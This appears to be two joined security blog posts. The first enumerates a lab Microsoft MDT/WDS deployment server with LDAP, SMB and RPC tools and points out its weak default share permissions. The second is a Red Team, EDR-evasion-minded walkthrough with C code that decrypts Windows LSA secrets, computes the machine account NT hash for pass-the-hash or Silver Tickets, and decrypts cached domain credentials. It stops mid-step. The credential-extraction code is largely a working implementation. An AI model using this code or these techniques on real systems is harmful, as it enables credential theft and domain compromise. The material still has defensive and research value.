 | Attribute "netbootSCPBL" = '['CN=MDTSERVER-Remote-Installation-Services,CN=MDTSERVER,CN=Computers,DC=lab,DC=local']' was created.
[2025-06-27 13:53:06] CN=MDTSERVER-Remote-Installation-Services,CN=MDTSERVER,CN=Computers,DC=lab,DC=local
 | Attribute "whenChanged" changed from '2025-06-27 11:51:00+00:00' to '2025-06-27 11:52:57+00:00'
 | Attribute "uSNChanged" changed from '28758' to '28760'
 | Attribute "netbootAnswerRequests" changed from 'False' to 'True'

A new container, named MDTSERVER-Remote-Installation-Services, is added under the MDTSERVER server container.

By looking at the new MDTSERVER-Remote-Installation-Services object's attributes, we find netbootServer. According to the Microsoft Documentation, this attribute holds the distinguished name of a Netboot server, and in our case, the DN of the WDS server.

netbootServer_attribute.png

Additionally, a new REMINST share appears on the server:

reminst_share_GUI.png

Also visible with Netexec, obviously:

$ nxc smb 192.168.56.20 -u BlWasp -p Password123! --shares
SMB         192.168.56.20   445    MDTSERVER        [*] Windows Server 2022 Build 20348 x64 (name:MDTSERVER) (domain:lab.local) (signing:False) (SMBv1:False)
SMB         192.168.56.20   445    MDTSERVER        [+] lab.local\BlWasp:Password123!
SMB         192.168.56.20   445    MDTSERVER        [*] Enumerated shares
SMB         192.168.56.20   445    MDTSERVER        Share           Permissions     Remark
SMB         192.168.56.20   445    MDTSERVER        -----           -----------     ------
SMB         192.168.56.20   445    MDTSERVER        ADMIN$                          Remote Admin
SMB         192.168.56.20   445    MDTSERVER        C$                              Default share
SMB         192.168.56.20   445    MDTSERVER        IPC$            READ            Remote IPC
SMB         192.168.56.20   445    MDTSERVER        REMINST         READ            Windows Deployment Services Share

And, to be sure, we can look at the RPC endpoints via epmapper with Impacket:

$ rpcdump.py LAB/BlWasp:'Password123!'@'192.168.56.20' |grep -i WDS -A 5 -B 5
UUID    : D4051BDE-9CDD-4910-B393-4AA85EC3C482 v1.0
Bindings:
          ncalrpc:[LRPC-5433bff7016b7e884b]
          ncalrpc:[OLE6B13C9DAA4D10A03B4288A5131B1]

Protocol: [MS-WDSC]: Windows Deployment Services Control Protocol
Provider: wdssrv.dll
UUID    : 1A927394-352E-4553-AE3F-7CF4AAFCA620 v1.0
Bindings:
          ncacn_ip_tcp:192.168.56.20[5040]

Protocol: [MS-FASP]: Firewall and Advanced Security Protocol

At the end, a new endpoint for the protocol MS-WDSC appears! Also, it is worth to note that 521 endpoints are present:

$ rpcdump.py LAB/BlWasp:'Password123!'@'192.168.56.20'

[SKIP]
Protocol: N/A
Provider: N/A
UUID    : 650A7E26-EAB8-5533-CE43-9C1DFCE11511 v1.0 Vpn APIs
Bindings:
          ncacn_np:\\MDTSERVER[\PIPE\ROUTER]
          ncalrpc:[RasmanLrpc]
          ncalrpc:[VpnikeRpc]
          ncalrpc:[LRPC-19efb95e3fd58adb94]

Protocol: N/A
Provider: N/A
UUID    : 7DF1CEAE-DE4E-4E6F-AB14-49636E7C2052 v1.0
Bindings:
          ncalrpc:[LRPC-31e36bccf5e7616642]

[*] Received 521 endpoints.

MDT installation

We are now ready to install the MDT environment. To do this, we just have to run the MSI package.

MSI_packages.png

At this point, no new LDAP operation is visible. Additionally, nothing to view regarding the SMB shares. However, by looking at the RPC endpoints, it looks like new ones appear:

Protocol: N/A
Provider: N/A
UUID    : 7DF1CEAE-DE4E-4E6F-AB14-49636E7C2052 v1.0
Bindings:
          ncalrpc:[LRPC-31e36bccf5e7616642]

Protocol: N/A
Provider: N/A
UUID    : D4051BDE-9CDD-4910-B393-4AA85EC3C482 v1.0
Bindings:
          ncalrpc:[OLE6B13C9DAA4D10A03B4288A5131B1]
          ncalrpc:[LRPC-5433bff7016b7e884b]

[*] Received 524 endpoints.

However, by checking the new endpoints, I was not able to identify anything linked to MDT. By doing a diff on the outputs, I got the following new UUID. If someone is able to identify them, and tell if they are, yes or not, related to MDT?

$ diff rpc521 rpc524
502a503,508
> UUID    : A4B8D482-80CE-40D6-934D-B22A01A44FE7 v1.0 LicenseManager
> Bindings:
>           ncalrpc:[LicenseServiceEndpoint]
>
> Protocol: N/A
> Provider: N/A
1003c1009
< UUID    : D4051BDE-9CDD-4910-B393-4AA85EC3C482 v1.0
---
> UUID    : AE2DC901-312D-41DF-8B79-E835E63DB874 v1.0 appxsvc
1005,1006c1011,1017
<           ncalrpc:[LRPC-5433bff7016b7e884b]
<           ncalrpc:[OLE6B13C9DAA4D10A03B4288A5131B1]
---
>           ncalrpc:[LRPC-cf7276638bd260fa9f]
>
> Protocol: N/A
> Provider: N/A
> UUID    : FF9FD3C4-742E-45E0-91DD-2F5BC632A1DF v1.0 appxsvc
> Bindings:
>           ncalrpc:[LRPC-cf7276638bd260fa9f]
1083c1094,1101
< [*] Received 521 endpoints.
\ No newline at end of file
---
> Protocol: N/A
> Provider: N/A
> UUID    : D4051BDE-9CDD-4910-B393-4AA85EC3C482 v1.0
> Bindings:
>           ncalrpc:[OLE6B13C9DAA4D10A03B4288A5131B1]
>           ncalrpc:[LRPC-5433bff7016b7e884b]
>
> [*] Received 524 endpoints.
\ No newline at end of file

MDT build account creation

When creating a reference image, you need an account for MDT. The MDT build account is used for Windows Preinstallation Environment (Windows PE, not related to Portable Executable) to connect to [the MDT server].

So basically, the goal of this account will be to access the deployment share to retrieve the files to deploy.

PS C:\> New-ADUser -Name MDT_BA -UserPrincipalName MDT_BA -path "CN=Users,DC=LAB,DC=LOCAL" -Description "MDT Build Account" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -ChangePasswordAtLogon $false -PasswordNeverExpires $true -Enabled $true

A second service account is mentionned in the documentation. Since MDT should permit to deploy new machines, this account will be used to add the new machines to the Active Directory, in the desired OU.

PS C:\> New-ADUser -Name MDT_JD -UserPrincipalName MDT_JD@lab.local -path "CN=Users,DC=LAB,DC=LOCAL" -Description "MDT join domain account" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -ChangePasswordAtLogon $false -PasswordNeverExpires $true -Enabled $true

Then, the documentation advise to configure the following permissions for this account on the OU where the machines will be added:

The following list is of the permissions being granted:

Scope: This object and all descendant objects Create Computer objects Delete Computer objects Scope: Descendant Computer objects Read All Properties Write All Properties Read Permissions Modify Permissions Change Password Reset Password Validated write to DNS host name Validated write to service principal name

From an attacker point of view, finding an account with a name or a description mentionning MDT is a pretty good indicator that a MDT deployment service is in place. The command I have specified above are copied from the documentation (only the DN are changed), so it's maybe probable that sysadmins also copy paste them, and use the same usernames and descriptions, who knows?

Log folder

By default MDT stores the log files locally on the client. In order to capture a reference image, you'll need to enable server-side logging and, to do that, you'll need to have a folder in which to store the logs.

PS C:\> New-Item -Path C:\Logs -ItemType directory
PS C:\> New-SmbShare -Name Logs$ -Path C:\Logs -ChangeAccess EVERYONE
PS C:\> icacls C:\Logs /grant '"MDT_BA":(OI)(CI)(M)'

So, yeah, the official documentation recommend to set the permissions to full access for EVERYONE... If we look at it with NXC and our standard user:

$ nxc smb 192.168.56.20 -u BlWasp -p Password123! --shares
SMB         192.168.56.20   445    MDTSERVER        [*] Windows Server 2022 Build 20348 x64 (name:MDTSERVER) (domain:lab.local) (signing:False) (SMBv1:False)
SMB         192.168.56.20   445    MDTSERVER        [+] lab.local\BlWasp:Password123!
SMB         192.168.56.20   445    MDTSERVER        [*] Enumerated shares
SMB         192.168.56.20   445    MDTSERVER        Share           Permissions     Remark
SMB         192.168.56.20   445    MDTSERVER        -----           -----------     ------
SMB         192.168.56.20   445    MDTSERVER        ADMIN$                          Remote Admin
SMB         192.168.56.20   445    MDTSERVER        C$                              Default share
SMB         192.168.56.20   445    MDTSERVER        IPC$            READ            Remote IPC
SMB         192.168.56.20   445    MDTSERVER        Logs$           READ,WRITE
SMB         192.168.56.20   445    MDTSERVER        REMINST         READ            Windows Deployment Services Share

I'm not really sure that providing full access to everyone on the log folder is a best security practice, but that a good point to know, from an attacker perspective.

MDT deployment share setup

Ok, we are now ready to create the deployment share on the MDT server. The setup is performed via the DeploymentWorkbench utility, and the default name for the share in the tool is DeploymentShare$:

default_shareName.png

However, the Microsoft documentation indicates MDTProduction$ as an example. So, maybe there is a chance that one of these names is used in production environment.

When the setup is finished, the new share is obviously visible with NXC:

$ nxc smb 192.168.56.20 -u BlWasp -p Password123! --shares
SMB         192.168.56.20   445    MDTSERVER        [*] Windows Server 2022 Build 20348 x64 (name:MDTSERVER) (domain:lab.local) (signing:False) (SMBv1:False)
SMB         192.168.56.20   445    MDTSERVER        [+] lab.local\BlWasp:Password123!
SMB         192.168.56.20   445    MDTSERVER        [*] Enumerated shares
SMB         192.168.56.20   445    MDTSERVER        Share           Permissions     Remark
SMB         192.168.56.20   445    MDTSERVER        -----           -----------     ------
SMB         192.168.56.20   445    MDTSERVER        ADMIN$                          Remote Admin
SMB         192.168.56.20   445    MDTSERVER        C$                              Default share
SMB         192.168.56.20   445    MDTSERVER        DeploymentShare$                 MDT Deployment Share
SMB         192.168.56.20   445    MDTSERVER        IPC$            READ            Remote IPC
SMB         192.168.56.20   445    MDTSERVER        Logs$           READ,WRITE
SMB         192.168.56.20   445    MDTSERVER        REMINST         READ            Windows Deployment Services Share

Note that, for the moment, we do not have access to the share. The next step is to configure the permissions on it. The documentation recommend to only provide access to the MDT_BA account via NTFS and SMB permissions. But, as highlighted by TrustedSec, it is not uncommon to come across too permissive rights. Here are the permissions indicated by Microsoft:

PS C:\> icacls.exe "C:\DeploymentShare" /grant '"LAB\MDT_BA":(OI)(CI)(M)'
PS C:\> Grant-smbshareaccess -Name DeploymentShare$ -AccountName "LAB\MDT_BA" -AccessRight Full -force

At this point, no new LDAP operation is visible.

We should now add images, application, task sequences, and so on to the share, and configure the share to perform dynamic deployment. This is out of scope for this short blog post.

That was a cool sysadmin tuto, but where is the server?

So, since the point of this blog post is to identify to MDT server in the network, let's do it! If we look back at the installation, we have seen that a specific LDAP operation was performed during the WDS server deployment. In fact, this service's installation create a new node under the container of the server supporting the server, CN=MDTSERVER-Remote-Installation-Services, with a specific objectclass intellimirrorSCP. And since this service is mandatory to run MDT, it should be a good starting point.

However, it is important to note that WDS servers can be used for other stuff than MDT shares! In fact, they are also used in SCCM environments for the Distribution Point and PXE servers for example (even if WDS is no more recommended for SCCM, and Microsoft advises to use SCCM OSD (Operating System Deployment)). So, based on this, the detection of a WDS server is a good indicator, but not the assurance of having found a MDT share.

Let's run our favorite tool to perform LDAP operations, ldeep, and search for the specific classObject:

$ pdm run ldeep ldap -u BlWasp -p Password123! -d LAB.LOCAL -s 192.168.56.10 search '(objectclass=intellimirrorSCP)'
[{
  "cn": "MDTSERVER-Remote-Installation-Services",
  "dSCorePropagationData": [
    "1601-01-01T00:00:00+00:00"
  ],
  "distinguishedName": "CN=MDTSERVER-Remote-Installation-Services,CN=MDTSERVER,CN=Computers,DC=lab,DC=local",
  "dn": "CN=MDTSERVER-Remote-Installation-Services,CN=MDTSERVER,CN=Computers,DC=lab,DC=local",
  "instanceType": 4,
  "name": "MDTSERVER-Remote-Installation-Services",
  "netbootAllowNewClients": true,
  "netbootAnswerOnlyValidClients": false,
  "netbootAnswerRequests": true,
  "netbootCurrentClientCount": 0,
  "netbootLimitClients": false,
  "netbootMaxClients": 100,
  "netbootNewMachineNamingPolicy": [
    "%61Username%#"
  ],
  "netbootNewMachineOU": "CN=MDTSERVER,CN=Computers,DC=lab,DC=local",
  "netbootServer": "CN=MDTSERVER,CN=Computers,DC=lab,DC=local",
  "objectCategory": "CN=Intellimirror-SCP,CN=Schema,CN=Configuration,DC=lab,DC=local",
  "objectClass": [
    "top",
    "leaf",
    "connectionPoint",
    "serviceConnectionPoint",
    "serviceAdministrationPoint",
    "intellimirrorSCP"
  ],
  "objectGUID": "{5ece04db-3566-4dbf-b453-2aa81d919239}",
  "showInAdvancedViewOnly": true,
  "uSNChanged": 28760,
  "uSNCreated": 28758,
  "whenChanged": "2025-06-27T11:52:57+00:00",
  "whenCreated": "2025-06-27T11:51:00+00:00"
}]

It looks to work. We could also filter the JSON output to only extract the server's DN:

$ pdm run ldeep ldap -u BlWasp -p Password123! -d LAB.LOCAL -s 192.168.56.10 search '(objectclass=intellimirrorSCP)' | jq '.[].netbootServer'
"CN=MDTSERVER,CN=Computers,DC=lab,DC=local"

As indicated previously, a WDS server could be another thing than a MDT share, like a SCCM Distribution Point. But, with this information, and by checking manually the exposed SMB shares, it should be sufficient.

Tools and PR

To simplify the MDT research via WDS, I have made a quick pull request on ldeep which add the wds command. There wasn't much to do, since the Distribution Point research for the sccm command was already implemented, by searching for "(cn=*-Remote-Installation-Services)" in the LDAP directory. This is a valid alternative to (objectclass=intellimirrorSCP).

Now, when a WDS server is identified, ldeep just says that a potential Distribution Point or MDT share has been found.

I have also coded a simple tool in Rust, that is able to identify all the WDS servers, and enumerate their shares. To be honest, I have essentially developed it to learn how to work with the ldap3 library in Rust...

Conclusion

As indicated by TrustedSec, there is no magic technique to identify MDT shares on the network. Or, at least, I couldn't find it either. However, WDS servers are a good indicator of their presence, and can be easily found in LDAP.

From Boot Key to Plaintext: How Windows LSA Secrets Are Deciphered from the Registry

Introduction and recall

Windows stores some of its secrets, service account passwords, machine account credentials, cached domain logon hashes, inside the SECURITY registry hive. These secrets are not stored in plaintext: they are wrapped in multiple layers of encryption, each derived from the previous one, forming a key chain that ultimately roots in a value scattered across the SYSTEM hive.

Recently, during a Red Team exercise, I needed to develop my own local SAM and LSA extractor that wouldn’t be detected by the EDR. The SAM part was no problem at all; the MaldevAcademy module dedicated to it works well. However, I found very little documentation on the LSA decryption part. Loading the registry hives is one thing, but decrypting them to extract the plaintext secrets is quite another.

So I set myself the challenge of re-implementing the entire decryption stack. And to save you from having to dig through the Mimikatz and Secretsdump.py code yourself, here is a quick article detailing the various steps involved.

Please note: when dumping the hives' secrets, the step that’s most sensitive from a detection perspective is the hive extraction/loading from the registry, not the decryption part (that can be performed locally, on your own machine). This article will explain how to decrypt them. As for loading them, I’ll leave it to you to find and develop your own super-mega-discreet technique :).

This article walks through the full extraction path, from the initial Boot Key recovery all the way to the final plaintext LSA secrets and DCC2 cached domain credentials. Every step is illustrated with the relevant code.

TL;DR, the key chain can be summarized as follows:

Boot Key (16 bytes, from SYSTEM hive)
    │
    └──▶  SHA-256(BootKey ‖ PolEKList salt × 1000)
               └──▶  AES-256-ECB  ──▶  LSA AES-256 Key (32 bytes)
                                            │
                               ┌────────────┴────────────────┐
                               │                              │
                  SHA-256(LsaKey ‖ salt × 1000)    SHA-256(LsaKey ‖ salt × 1000)
                        └──▶  AES-256-ECB                └──▶  NL$KM (16 bytes)
                              └──▶  LSA secret                      │
                                                           AES-128-CBC(NL$KM, IV)
                                                                 └──▶  DCC2 hash

Step 1: Recovering the Boot Key

The Boot Key (also called the LSA System Key) is a 16-byte value that seeds every other key derivation in the system. It is not stored as a single contiguous value. Instead, Windows splits it across four registry keys under HKLM\SYSTEM\ControlSet001\Control\Lsa, hiding each 4-byte fragment inside the class name of a subkey:

Subkey Purpose
JD Bytes 0–3 of the scrambled key
Skew1 Bytes 4–7
GBG Bytes 8–11
Data Bytes 12–15

The class name of a registry key is a rarely used attribute, most tools never display it, which makes it an effective hiding place. We can retrieve each fragment by calling RegQueryInfoKeyW with the lpClass parameter, and a KeyHandle on the registry key:

LPCWSTR KeyNames[] = { L"JD", L"Skew1", L"GBG", L"Data" };
HKEY    KeyHandle;
UCHAR   KeyParts[16];

for (UCHAR Index = 0; Index < 4; Index++)
{
    //...

    WCHAR ClassName[10] = { 0 };
    ULONG BufferSize = 10;

    RegQueryInfoKeyW(KeyHandle, ClassName, &BufferSize, 0, 0, 0, 0, 0, 0, 0, 0, 0);
    RegCloseKey(KeyHandle);

    *(PULONG)(KeyParts + Index * 4) = _byteswap_ulong(wcstoul(ClassName, 0, 16));
}

Each class name is an 8-character hexadecimal string representing 4 bytes. wcstoul converts it to a 32-bit integer, and _byteswap_ulong flips the byte order from little-endian to big-endian so that the hex digits map to bytes in the expected order.

The permutation

The 16 bytes obtained from the four class names are not the Boot Key yet. Windows applies a fixed permutation to scramble them:

SystemKey[0]  = KeyParts[8];
SystemKey[1]  = KeyParts[5];
SystemKey[2]  = KeyParts[4];
SystemKey[3]  = KeyParts[2];
SystemKey[4]  = KeyParts[11];
SystemKey[5]  = KeyParts[9];
SystemKey[6]  = KeyParts[13];
SystemKey[7]  = KeyParts[3];
SystemKey[8]  = KeyParts[0];
SystemKey[9]  = KeyParts[6];
SystemKey[10] = KeyParts[1];
SystemKey[11] = KeyParts[12];
SystemKey[12] = KeyParts[14];
SystemKey[13] = KeyParts[10];
SystemKey[14] = KeyParts[15];
SystemKey[15] = KeyParts[7];

This permutation is identical in every version of Windows (NT 6.x+) and is well-documented in public research. Its only purpose is obfuscation: it prevents a casual observer from reassembling the key by simply concatenating the class names in subkey order.

After this step, SystemKey holds the 16-byte Boot Key.

Step 2: Deriving the LSA Encryption Key

The LSA encryption key is a 32-byte AES-256 key used to protect every individual LSA secret. It is stored, in encrypted form, in the default value of:

HKLM\SECURITY\Policy\PolEKList

PolEKList blob layout

The binary blob read from this key has the following structure:

Offset  0 : ULONG   Version          (0x01000000 LE)
Offset  4 : UCHAR   EncKeyId[16]     GUID identifying the encryption key
Offset 20 : ULONG   EncAlgorithm     (= 3, meaning AES-256)
Offset 24 : ULONG   Flags            (= 0)
Offset 28 : UCHAR   KdfSalt[32]      Salt for the SHA-256 key derivation
Offset 60 : UCHAR   Ciphertext[]     AES-256-ECB encrypted payload

Key derivation: SHA-256 iterated hashing

The decryption key is derived from the Boot Key using a custom KDF: the Boot Key is concatenated with the 32-byte salt repeated 1000 times, and the result is hashed with SHA-256:

DerivedKey = SHA-256(BootKey ‖ Salt ‖ Salt ‖ ... ‖ Salt)
                               └─── 1000 times ───┘

In code:

BOOLEAN Sha256Derive(PUCHAR Key, ULONG KeyLength, PUCHAR Salt, ULONG SaltLength, PUCHAR DerivedKey)
{
    CryptAcquireContextA(&Provider, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    CryptCreateHash(Provider, CALG_SHA_256, 0, 0, &Hash);

    // Hash the key material (Boot Key)
    CryptHashData(Hash, Key, KeyLength, 0);

    // Append the salt 1000 times
    for (ULONG Index = 0; Index < 1000; Index++)
    {
        CryptHashData(Hash, Salt, SaltLength, 0);
    }

    ULONG HashLength = 32; // SHA-256 output = 32 bytes = AES-256 key size
    CryptGetHashParam(Hash, HP_HASHVAL, DerivedKey, &HashLength, 0);

    // ... cleanup ...
}

This produces a 32-byte value suitable for use as an AES-256 key. The 1000 iterations serve as a weak form of key stretching, enough to slow down brute-force enumeration of Boot Keys I guess, though the primary security boundary is the Boot Key itself.

AES-256-ECB decryption

With the derived key in hand, the ciphertext portion of the blob (starting at offset 60) is decrypted using AES-256 in ECB mode:

UCHAR DerivedKey[LSA_KEY_SIZE]; // 32 bytes
Sha256Derive(BootKey, SYSTEM_KEY_SIZE, BlobData + 28, 32, DerivedKey);

PUCHAR Payload       = BlobData + 60;
ULONG  PayloadLength = BlobLength - 60;

Aes256Decrypt(DerivedKey, Payload, PayloadLength);

The Aes256Decrypt function imports the key as a PLAINTEXTKEYBLOB into the CryptoAPI, sets ECB mode, and calls CryptDecrypt:

BOOLEAN Aes256Decrypt(PUCHAR Key, PUCHAR Ciphertext, ULONG CiphertextLength)
{
    // ... provider acquisition ...

    UCHAR       Buffer[AES256_KEY_BLOB_SIZE];
    BLOBHEADER* KeyBlob = (BLOBHEADER*)(Buffer);

    KeyBlob->bType    = PLAINTEXTKEYBLOB;
    KeyBlob->bVersion = CUR_BLOB_VERSION;
    KeyBlob->aiKeyAlg = CALG_AES_256;

    *(PULONG)(Buffer + sizeof(BLOBHEADER)) = AES256_KEY_SIZE;
    RtlCopyMemory(Buffer + sizeof(BLOBHEADER) + sizeof(ULONG), Key, AES256_KEY_SIZE);

    CryptImportKey(Provider, Buffer, AES256_KEY_BLOB_SIZE, 0, 0, &KeyHandle);

    ULONG Mode = CRYPT_MODE_ECB;
    CryptSetKeyParam(KeyHandle, KP_MODE, (PUCHAR)(&Mode), 0);

    CryptDecrypt(KeyHandle, 0, FALSE, 0, Ciphertext, &CiphertextLength);

    // ... cleanup ...
}

Note the use of ECB mode: each 16-byte block is decrypted independently with no initialization vector. This is the mode Windows chose for the PolEKList encryption.

Parsing the decrypted payload

The decrypted payload is not just a flat key, it is a nested structure of Windows internal types. The code navigates through three layers:

PNT6_CLEAR_SECRET clearSec   = (PNT6_CLEAR_SECRET)Payload;
PNT6_SYSTEM_KEYS  keysStream = (PNT6_SYSTEM_KEYS)clearSec->Secret;
PNT6_SYSTEM_KEY   firstKey   = (PNT6_SYSTEM_KEY)keysStream->Keys;

if (firstKey->KeySize >= LSA_KEY_SIZE) {
    RtlCopyMemory(LsaKey, firstKey->Key, LSA_KEY_SIZE);
}

The structures involved (stolen from Mimikatz's code, many thanks to the kiwi!) are:

typedef struct _NT6_CLEAR_SECRET {
    DWORD SecretSize;
    DWORD unk0, unk1, unk2;
    BYTE  Secret[ANYSIZE_ARRAY];
} NT6_CLEAR_SECRET;

typedef struct _NT6_SYSTEM_KEYS {
    DWORD unkType0;
    GUID  CurrentKeyID;
    DWORD unkType1;
    DWORD nbKeys;
    NT6_SYSTEM_KEY Keys[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEYS;

typedef struct _NT6_SYSTEM_KEY {
    GUID  KeyId;
    DWORD KeyType;
    DWORD KeySize;
    BYTE  Key[ANYSIZE_ARRAY];
} NT6_SYSTEM_KEY;

In essence: the decrypted blob contains a CLEAR_SECRET envelope, inside which lies a SYSTEM_KEYS collection. The first key in that collection is the 32-byte LSA encryption key that will be used for all subsequent operations.

Step 3: Decrypting LSA Secrets

LSA secrets are stored under HKLM\SECURITY\Policy\Secrets. Each secret is a subkey (e.g., $MACHINE.ACC, _SC_ServiceName, DefaultPassword) that contains two sub-subkeys:

Each of these holds a binary blob as its default value. We enumerate all secrets:

VOID DumpLsaSecrets(HKEY HklmHandle, PUCHAR LsaKey)
{
    RegOpenKeyExW(HklmHandle, L"SECURITY\\Policy\\Secrets",
                  REG_OPTION_BACKUP_RESTORE, KEY_ENUMERATE_SUB_KEYS, &SecretsKey);

    ULONG SecretCount;
    RegQueryInfoKeyW(SecretsKey, 0, 0, 0, &SecretCount, ...);

    for (ULONG Index = 0; Index < SecretCount; Index++)
    {
        RegEnumKeyW(SecretsKey, Index, SecretName, ...);

        // For each secret, process CurrVal and OldVal
        LPCWSTR TimestampedValues[] = { L"CurrVal", L"OldVal" };

        for (UCHAR Vi = 0; Vi < 2; Vi++)
        {
            // Read the default binary value
            ReadDefaultValue(ValKey, &BlobData, &BlobLength);

            // Decrypt and print
            DecryptAndPrintSecret(DisplayName, LsaKey, BlobData, BlobLength);
        }
    }
}

Per-secret decryption

Each secret blob has the same 60-byte header structure as PolEKList: a salt at offset 28, and the ciphertext starting at offset 60. The decryption process is identical, derive an AES-256 key using the LSA key and the per-secret salt, then decrypt with AES-256-ECB:

static VOID DecryptAndPrintSecret(PCWSTR DisplayName, PUCHAR LsaKey,
                                   PUCHAR BlobData, ULONG BlobLength)
{
    // Derive the per-secret AES-256 key: SHA256(LsaKey || Salt × 1000)
    UCHAR DerivedKey[LSA_KEY_SIZE];
    Sha256Derive(LsaKey, LSA_KEY_SIZE,
                 BlobData + SEC_BLOB_SALT_OFFSET,   // offset 0x1C = 28
                 SEC_BLOB_SALT_SIZE,                 // 32 bytes
                 DerivedKey);

    // Decrypt the payload in-place
    Aes256Decrypt(DerivedKey, Payload, PayloadLength);

    // Parse: [SecretLength: 4 bytes][Reserved: 12 bytes][SecretData: SecretLength bytes]
    ULONG SecretLength = *(PULONG)(Payload);
    PrintLsaSecret(DisplayName, Payload + 16, SecretLength);
}

Note how the same Sha256Derive + Aes256Decrypt pattern is reused, but this time the input key is the LSA key (32 bytes) rather than the Boot Key (16 bytes). Each secret has its own unique 32-byte salt, so each one produces a different derived AES-256 key, compromising one derived key does not reveal the others (though knowing the LSA key allows deriving all of them).

The decrypted secret layout

After AES-256-ECB decryption, the plaintext has a simple structure:

[0x00 - 0x03]  SecretLength  (ULONG, little-endian)
[0x04 - 0x0F]  Reserved      (12 bytes, unused)
[0x10 - ...]   SecretData    (SecretLength bytes of plaintext secret)

SecretData contains the raw secret value. For a service account password (_SC_*), this is the UTF-16 password string. For DefaultPassword, it is the auto-logon password. For $MACHINE.ACC, it is the machine account password.

Special case: Machine account NT hash

When the secret is $MACHINE.ACC, then we go one step further and compute the NT hash (MD4) of the raw password bytes, since that is what is needed for pass-the-hash or Silver Ticket attacks:

if (_wcsicmp(DisplayName, L"$MACHINE.ACC [CurrVal]") == 0)
{
    UCHAR NtHash[MD4_DIGEST_LENGTH];

    if (ComputeMd4(Payload + 16, SecretLength, NtHash))
    {
        wprintf(L" NT hash: ");

        for (UCHAR Index = 0; Index < MD4_DIGEST_LENGTH; Index++)
        {
            wprintf(L"%02x", NtHash[Index]);
        }
    }
}

The ComputeMd4 function uses the legacy CryptoAPI with CALG_MD4:

BOOLEAN ComputeMd4(PUCHAR Input, ULONG InputLength, PUCHAR Digest)
{
    CryptAcquireContextA(&Provider, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    CryptCreateHash(Provider, CALG_MD4, 0, 0, &Hash);
    CryptHashData(Hash, Input, InputLength, 0);

    ULONG HashLength = MD4_DIGEST_LENGTH;
    CryptGetHashParam(Hash, HP_HASHVAL, Digest, &HashLength, 0);

    // ... cleanup ...
}

The NT hash of the machine account is particularly valuable because it can be used to forge Kerberos service tickets (Silver Tickets) or authenticate as the machine to domain services.

Step 4: Extracting DCC2 Cached Domain Credentials

When a domain user logs onto a Windows workstation, their credentials are cached locally so they can log in again even if the domain controller is unreachable. These cached credentials are stored as Domain Cached Credentials v2 (DCC2) hashes in:

HKLM\SECURITY\Cache\NL$1 through NL$25

Decrypting them requires a specific key, NL$KM, which is itself an LSA secret.

Step 4a: Obtaining the NL$KM key

The NL$KM key is extracted just like any other LSA secret, through GetNlkmKey:

static LSTATUS GetNlkmKey(HKEY HklmHandle, PUCHAR LsaKey, PUCHAR NlkmKey)
{
    // Open SECURITY\Policy\Secrets\NL$KM\CurrVal
    RegOpenKeyExW(HklmHandle, L"SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal",
                  REG_OPTION_BACKUP_RESTORE, KEY_QUERY_VALUE, &ValKey);

    // Read the encrypted blob
    ReadDefaultValue(ValKey, &BlobData, &BlobLength);

    // Same derivation pattern: SHA256(LsaKey || salt × 1000) → AES-256-ECB
    UCHAR DerivedKey[LSA_KEY_SIZE];
    Sha256Derive(LsaKey, LSA_KEY_SIZE,
                 BlobData + LSA_BLOB_SALT_OFFSET, LSA_BLOB_SALT_SIZE,
                 DerivedKey);

    Aes256Decrypt(DerivedKey, Payload, PayloadLength);

    // Extract the 16-byte NL$KM key from the decrypted secret
    ULONG SecretLength = *(PULONG)(Payload);
    RtlCopyMemory(NlkmKey, Payload + 16, NLKM_KEY_SIZE); // 16 bytes
}

The result is a 16-byte AES-128 key that will be used to decrypt each cached credential entry.

Step 4b: Reading the iteration count

Before decrypting individual entries, we read the PBKDF2 iteration count from SECURITY\Cache\NL$IterationCount:

DWORD IterationCount = 10240; // default
RegQueryValueExW(CacheKey, L"NL$IterationCount", NULL, NULL,
                 (LPBYTE)&IterationCount, &IcSize); // A if check could be interesting here, to not fallback in the next else, in case of reading error

if (IterationCount > 10240)
    IterationCount = IterationCount & 0xfffffc00;  // round down to nearest 1024
else
    IterationCount = IterationCount * 1024;         // scale up

This iteration count is not used for the decryption itself, it was used when the DCC2 hash was originally computed. It is recorded in the output so that an offline cracking tool (such as Hashcat mode 2100) knows how many PBKDF2 rounds to apply.

Step 4c: Decrypting each cached entry

We iterate over NL$1 through NL$25. Each entry is a binary blob whose fixed-size header is an NL_RECORD structure (96 bytes):

#pragma pack(push, 1)
typedef struct _NL_RECORD {
    USHORT    UserLength;               // 0x00
    USHORT    DomainNameLength;         // 0x02
    USHORT    EffectiveNameLength;      // 0x04
    USHORT    FullNameLength;           // 0x06
    // ... more length fields ...
    ULONG     UserId;                   // 0x10
    ULONG     PrimaryGroupId;          // 0x14
    ULONG     GroupCount;              // 0x18
    // ...
    ULONGLONG LastWrite;               // 0x20
    ULONG     Revision;                // 0x28
    // ...
    UCHAR     Iv[16];                  // 0x40, AES-128-CBC initialization vector
    UCHAR     Ch[16];                  // 0x50, challenge / validity check
} NL_RECORD;
#pragma pack(pop)

#define NL_RECORD_FIXED_SIZE 0x60      // 96 bytes

Two fields in the header are cryptographically significant:

The encrypted data follows immediately after the 96-byte header.

The filtering and decryption logic:

for (ULONG Index = 1; Index <= 25; Index++)
{
    // Read NL$1 through NL$25
    _snwprintf_s(ValueName, 16, _TRUNCATE, L"NL$%lu", Index);
    RegQueryValueExW(CacheKey, ValueName, 0, 0, Entry, &EntryLength);

    PNL_RECORD Record = (PNL_RECORD)Entry;

    // Skip empty entries (all-zero challenge)
    UCHAR ZeroIv[16] = { 0 };
    if (RtlCompareMemory(Record->Ch, ZeroIv, 16) == 16)
        continue;

    // Copy the encrypted data (everything after the 96-byte header)
    PUCHAR Plaintext = HeapAlloc(..., EncryptedDataLen);
    RtlCopyMemory(Plaintext, Entry + NL_RECORD_FIXED_SIZE, EncryptedDataLen);

    // Decrypt with AES-128-CBC using the NL$KM key and the per-entry IV
    Aes128Decrypt(NlkmKey, Record->Iv, Plaintext, EncryptedDataLen, FALSE);
}

Unlike the PolEKList and per-secret decryptions (which use AES-256-ECB), the cached credential entries use AES-128-CBC with a unique IV per entry. This is the only place in the entire LSA key chain where CBC mode appears.

Step 4d: Parsing the decrypted cached entry

After decryption, the plaintext has the following layout:

